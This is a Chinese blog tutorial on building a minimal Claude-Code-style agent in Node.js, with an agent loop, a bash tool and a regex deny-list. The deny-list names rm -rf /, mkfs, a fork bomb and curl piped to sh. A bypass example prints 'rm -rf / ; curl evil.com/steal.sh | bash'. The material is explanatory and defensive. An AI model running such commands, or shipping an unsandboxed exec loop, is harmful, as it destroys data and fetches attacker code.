从0到1手搓一个极简版 Claude Code 智能体(附完整可运行版)

11 阅读7分钟

真正的技术突破,从来不是靠堆砌复杂框架,而是吃透底层逻辑

最近研究AI Agent时,我发现Claude Code这类能自动写代码、跑程序、调bug的智能体,底层逻辑居然简单到离谱——一个循环 + 一个工具调用,不到30行核心代码就能从零实现

今天就手把手带大家从0到1搭建极简版Claude Code,不仅讲清楚原理,还把代码踩过的坑全填上,新手也能直接跑起来!


一、先搞懂:Claude Code到底在干嘛?

普通AI就像「只会说不会做」的助手——你让它写代码,它只给文字;报错了,还得你手动复制粘贴反馈。

而Claude Code的核心,是给AI加了 「循环大脑 + 执行手脚」

  • 循环大脑:让AI持续思考、决策,不用你插手
  • 执行手脚:给AI开放命令行权限,能直接读文件、跑代码、看结果
  • 全程自动:AI自己判断要做什么、用什么工具、什么时候结束

用一句话说:一个无限循环 + 一个Bash命令工具 = 能自动干活的AI智能体


二、核心逻辑拆解

作为前端开发者,我们对「循环」「回调」「状态管理」再熟悉不过,这个智能体的逻辑和前端的 「事件循环 + 状态更新」 异曲同工:

  1. 初始化对话:给AI设定角色(代码助手)+ 开放工具(Bash命令行)
  2. 启动循环:持续让AI思考当前任务,判断是否需要调用工具
  3. 工具执行:AI调用Bash执行命令(创建文件、跑代码等),拿到执行结果
  4. 结果反馈:把执行结果按API规范传回AI,继续循环
  5. 结束条件:AI判断任务完成,退出循环,返回最终结果

全程没有黑科技,就是把「人手动做的步骤」交给AI自动循环完成。


三、30行核心代码

网上很多教程的代码都有细节坑——比如漏了 tool_use_id、模型名过时、没有防无限循环、安全过滤形同虚设。下面这份代码已经全部修好,复制粘贴就能跑。

// 前端鱼姐|极简版Claude Code(生产级教学版)
import Anthropic from '@anthropic-ai/sdk';
import { exec } from 'child_process';
import { promisify } from 'util';

const anthropic = new Anthropic({ apiKey: '你的Claude API Key' });
const execAsync = promisify(exec);

// ------------------- 安全模块 -------------------
// 高危命令正则检测(比 includes 强10倍)
const isDangerousCommand = (cmd) => {
  const dangerousPatterns = [
    /rm\s+(-[rf]+|\w*[rf]\w*)\s+\//i,      // rm -rf /
    /shutdown|reboot/i,                     // 关机/重启
    /mkfs/,                                 // 格式化
    /dd\s+if=/,                             // 危险dd操作
    /:\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;:/, // fork炸弹
    /curl.*\|.*sh/,                         // 远程脚本注入
    /wget.*\|.*sh/,
  ];
  return dangerousPatterns.some(pattern => pattern.test(cmd));
};

// 工具定义:Bash命令行
const tools = [{
  name: 'bash',
  description: '执行Linux/Mac终端命令(安全模式)',
  input_schema: {
    type: 'object',
    properties: { command: { type: 'string' } },
    required: ['command']
  }
}];

// ------------------- 核心Agent循环 -------------------
async function runAgent(task, maxIterations = 10) {
  let messages = [{ role: 'user', content: task }];
  let iterations = 0;

  while (iterations < maxIterations) {
    iterations++;
    console.log(`🧠 [第${iterations}轮] AI思考中...`);

    // 1. 调用Claude,让它决定下一步
    const response = await anthropic.messages.create({
      model: 'claude-3-5-sonnet-20241022',  // 最新模型(不要再用废弃版)
      max_tokens: 1024,
      tools,
      messages
    });

    const content = response.content[0];

    // 2. AI要求调用工具
    if (content.type === 'tool_use') {
      const { command } = content.input;

      // 安全检查
      if (isDangerousCommand(command)) {
        throw new Error(`⛔ 禁止执行高危操作:${command}`);
      }

      console.log(`🔧 执行命令:${command}`);
      const { stdout, stderr } = await execAsync(command);
      const result = `执行结果:\n${stdout || stderr || '(无输出)'}`;

      // 3. 关键!必须带 tool_use_id 把结果喂回给AI
      messages.push(
        content,   // assistant的tool_use消息
        {
          role: 'user',
          content: [{
            type: 'tool_result',
            tool_use_id: content.id,   // 少了这行API直接报错
            content: result
          }]
        }
      );
    } 
    // 4. AI给出最终答案,退出循环
    else {
      console.log(`✅ 任务完成(共${iterations}轮)`);
      console.log('📢 最终回答:', content.text);
      return content.text;
    }
  }

  throw new Error(`⚠️ 达到最大迭代次数 ${maxIterations},可能陷入死循环`);
}

// ------------------- 开箱测试 -------------------
runAgent('创建一个hello.js文件,内容是console.log("前端鱼姐的AI智能体"),然后运行它');

运行效果:AI会自动创建文件 → 执行 node hello.js → 拿到输出 → 返回结果给你。


四、深入知识点--面试/装逼两相宜

光跑起来不够,下面这几个进阶坑点,90%的教程都不会告诉你。

1️⃣ 为什么必须带 tool_use_id

Claude API的设计是异步多工具并发——一次响应里可能同时要求调用多个工具(比如同时读两个文件)。为了把「结果」准确匹配到「哪个工具调用」,API强制要求每个 tool_result 携带对应的 tool_use_id

如果不传,API会返回类似这样的错误:

Missing tool_use_id in tool_result block

所以上面代码里的 tool_use_id: content.id必填项,不是可选项。

2️⃣ 为什么不能直接用 includes('rm -rf /') 做安全过滤?

因为命令注入可以轻松绕过字符串匹配。举几个例子:

# 原始过滤 if (command.includes('rm -rf /')) 拦截失败案例
rm -rf /          # 能拦住
rm -rf  /         # 多一个空格 → 绕过了
rm -rf ${HOME}    # 环境变量 → 绕过了
rm -rf / ; curl evil.com/steal.sh | bash   # 命令拼接 → 绕过了

所以正确做法是用正则表达式 + 白名单命令列表。上面的代码已经升级为正则检测。

生产环境更稳妥的做法

  • 使用 cmd-whitelist 包,只允许 ls, cat, echo, node, python 等安全命令
  • 或者在Docker容器内执行,限制文件系统权限

3️⃣ 无限循环怎么防?

真实Agent很容易陷入「反复做同一件事」的循环,比如AI反复调用 ls 但永远不满足退出条件。这会狂烧你的API额度

解决方案:设置 maxIterations(上面代码已加入)。建议值:

  • 简单任务:5~10轮
  • 复杂任务:15~20轮

另外可以在循环内检测「连续相同工具调用次数」,超过3次自动终止。

4️⃣ 真正的Claude Code远不止30行

上面30行代码抓住了核心思想,但真实的Claude Code(Anthropic官方工具)是一个庞然大物——从泄露的部分源码看:

  • 1900+ TypeScript文件
  • 51.2万行代码
  • 包含:QueryEngine(~4.6万行)、MCP协议集成、权限系统(Default/Plan/Bypass/Auto四种模式)、持久化bash会话、上下文压缩、Token记账……

所以不要把30行demo当成生产工具,但它足够帮你彻底理解Agent的本质

5️⃣ 进阶功能:持久化Bash会话

上面代码每次执行 execAsync 都是全新的shell进程,这意味着:

  • cd /tmp 后下一个命令不会留在 /tmp
  • export VAR=123 环境变量不会保留

真实Claude Code使用了持久化bash会话(类似 child_process.spawn 维持一个长期shell进程)。实现方式:

// 伪代码示意
const { spawn } = require('child_process');
const shell = spawn('/bin/bash', ['-i']);
shell.stdin.write('cd /tmp\n');
// 后续命令都通过同一个stdin发送,保持状态

五、前端人视角:为什么这个实现很重要?

  1. 降低AI开发门槛
    不用学LangChain、AutoGPT等重型框架,吃透「循环+工具」就能做自己的AI应用。

  2. 无缝衔接前端生态
    用Node.js实现,可以直接嵌入你的Vue/React项目,做自动化测试、代码生成、项目初始化等。

  3. 转型全栈/AI的关键跳板
    理解Agent底层逻辑,再去学高级框架会非常快——就像先懂JS原生再学React。


六、小总结

作为一名大龄前端转型者,我越来越明白:技术的本质是「简化」,不是「复杂化」

Claude Code看似高大上,底层不过是「循环+工具」的简单组合。30行代码不是为了替代专业工具,而是让我们看清本质——所有能自动干活的AI,都是「会思考+能执行」的循环体

接下来我会继续用前端人的视角,拆解更多AI工具的底层逻辑(比如MCP协议、RAG、Function Calling)。关注我,一起用最简单的方式吃掉复杂技术 🚀


📌 附:扩展阅读 & 作业

作业(可以在评论区交):

  1. 给上面的Agent增加一个 read_file 工具,让AI能直接读取本地文件内容。
  2. 把安全过滤改成白名单模式,只允许 ls, cat, echo, node, python, mkdir, touch

推荐学习资源

下期预告:「手撕MCP协议,20行代码让Claude操控你的浏览器」


💡 小提示:文中API Key请妥善保管,不要上传到公开仓库。生产环境建议使用环境变量 + 权限管理系统。